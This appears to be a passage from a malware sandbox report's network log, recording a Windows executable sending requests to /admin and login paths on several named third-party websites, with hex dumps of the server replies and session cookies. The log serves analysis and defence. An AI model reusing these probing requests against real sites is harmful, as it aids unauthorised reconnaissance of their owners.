2023-11-26 05:59:57 UTC	185	OUT	GET /admin HTTP/1.1 Host: www.gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:57 UTC	1123	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 37 20 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 74 65 2d 78 73 72 66 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingCache-Control: no-cache, privateDate: Sun, 26 Nov 2023 05:59:57 GMTSet-Cookie: publishedsite-xsrf
2023-11-26 05:59:57 UTC	607	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 6c 69 61 45 38 31 4b 7a 42 30 57 6c 6b 79 56 45 35 75 54 6a 6c 58 63 44 56 6b 53 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 58 70 6c 4d 31 64 77 61 46 5a 7a 53 6e 42 31 65 48 67 32 4d 55 56 69 59 6b 4e 78 56 48 4a 70 63 6a 42 54 51 55 68 4e 57 55 4a 33 56 6d 31 68 61 33 4e 72 64 55 70 45 55 54 42 71 4c 7a 4e 5a 52 6a 52 4d 4d 47 30 76 4e 47 56 43 53 48 56 52 5a 44 56 5a 63 32 74 43 5a 57 31 48 54 44 6c 32 56 55 52 45 64 30 68 55 51 55 5a 49 4f 55 31 77 53 56 5a 35 61 47 30 78 61 32 6c 4c 56 45 78 6d 5a 45 49 78 54 45 45 34 53 45 6b 31 64 55 68 78 54 7a 4a 45 54 54 56 4e 64 46 42 53 62 7a 5a 78 61 6e 67 78 63 58 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6IkliaE81KzB0WlkyVE5uTjlXcDVkS3c9PSIsInZhbHVlIjoicXplM1dwaFZzSnB1eHg2MUViYkNxVHJpcjBTQUhNWUJ3Vm1ha3NrdUpEUTBqLzNZRjRMMG0vNGVCSHVRZDVZc2tCZW1HTDl2VUREd0hUQUZIOU1wSVZ5aG0xa2lLVExmZEIxTEE4SEk1dUhxTzJETTVNdFBSbzZxangxcX
2023-11-26 05:59:57 UTC	1580	IN	Data Raw: 36 32 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 20 41 72 69 61 6c 2c 20 73 61 Data Ascii: 620<!doctype html><html><head> <title>404 - Page Not Found</title> <style type="text/css"> html, body { height: 100%; margin: 0; padding: 0; font-family: Roboto, Helvetica Neue, Arial, sa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.4	53290	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:57 UTC	295	OUT	GET /admin HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: k8spersistent=dbce043fd5773e46115905cf1a6992b8\|11f187638643e13d7bd1963991fac52b; OF=68racb9qa4tcicisten4cggps0 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.4	53308	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:57 UTC	174	OUT	GET /admin/pages/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:57 UTC	511	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 61 66 75 62 74 32 36 38 73 6d 6f 33 6a 36 30 34 64 66 6e 6c 6b 32 74 71 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 53 65 63 75 72 69 74 79 2f 6c 6f 67 69 6e 3f 42 61 63 6b 55 52 4c 3d 25 32 46 61 64 6d 69 6e 25 32 46 70 61 67 65 73 25 32 46 0d 0a 78 2d 63 6f 6e 74 72 6f 6c 6c 65 72 3a 20 53 69 6c 76 65 72 53 74 72 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:57 GMTServer: Apache/2.4.52 (Ubuntu)Set-Cookie: PHPSESSID=afubt268smo3j604dfnlk2tqck; path=/; HttpOnlylocation: https://ce-logic.com/Security/login?BackURL=%2Fadmin%2Fpages%2Fx-controller: SilverStr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.4	53167	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:57 UTC	162	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:57 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:57 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:57 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:57 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:58 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:58 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:58 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:58 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.4	55454	54.83.33.36	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:57 UTC	250	OUT	GET /Security/login?BackURL=%2Fadmin%2Fpages%2F HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=afubt268smo3j604dfnlk2tqck User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:58 UTC	333	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 78 2d 72 6f 62 6f 74 73 2d 74 61 67 3a 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 2c 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:58 GMTServer: Apache/2.4.52 (Ubuntu)x-frame-options: SAMEORIGINx-robots-tag: noindex, nofollowvary: X-Forwarded-Protocol,Accept-Encodingcache-control: no-cache, no-store, must-revalidateConnection:
2023-11-26 05:59:58 UTC	7859	IN	Data Raw: 32 61 64 34 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4c 6f Data Ascii: 2ad4<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Lo
2023-11-26 05:59:58 UTC	3111	IN	Data Raw: 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 72 65 73 6f 75 72 63 65 73 2f 74 68 65 6d 65 73 2f 6d 61 69 6e 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2e 69 66 72 61 6d 65 2d 74 72 61 6e 73 70 6f 72 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 72 65 73 6f 75 72 63 65 73 2f 74 68 65 6d 65 73 2f 6d 61 69 6e 2f 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2e 66 69 6c 65 75 70 6c 6f 61 64 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 56 61 6c 69 64 61 74 65 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 61 73 70 6e 65 74 63 64 6e 2e 63 6f 6d 2f 61 6a 61 78 2f Data Ascii: <script src="/resources/themes/main/js/vendor/jquery.iframe-transport.js"></script> <script src="/resources/themes/main/js/vendor/jquery.fileupload.js"></script> ... Validate --> <script src="//ajax.aspnetcdn.com/ajax/
2023-11-26 05:59:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.4	53505	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:57 UTC	168	OUT	GET /admin HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:58 UTC	640	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cache, privateCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:58 UTC	729	IN	Data Raw: 37 64 32 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d2f<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
2023-11-26 05:59:58 UTC	1369	IN	Data Raw: 6f 75 6e 74 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f Data Ascii: ount:void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info fo
2023-11-26 05:59:58 UTC	1369	IN	Data Raw: 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a Data Ascii: led:!0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:
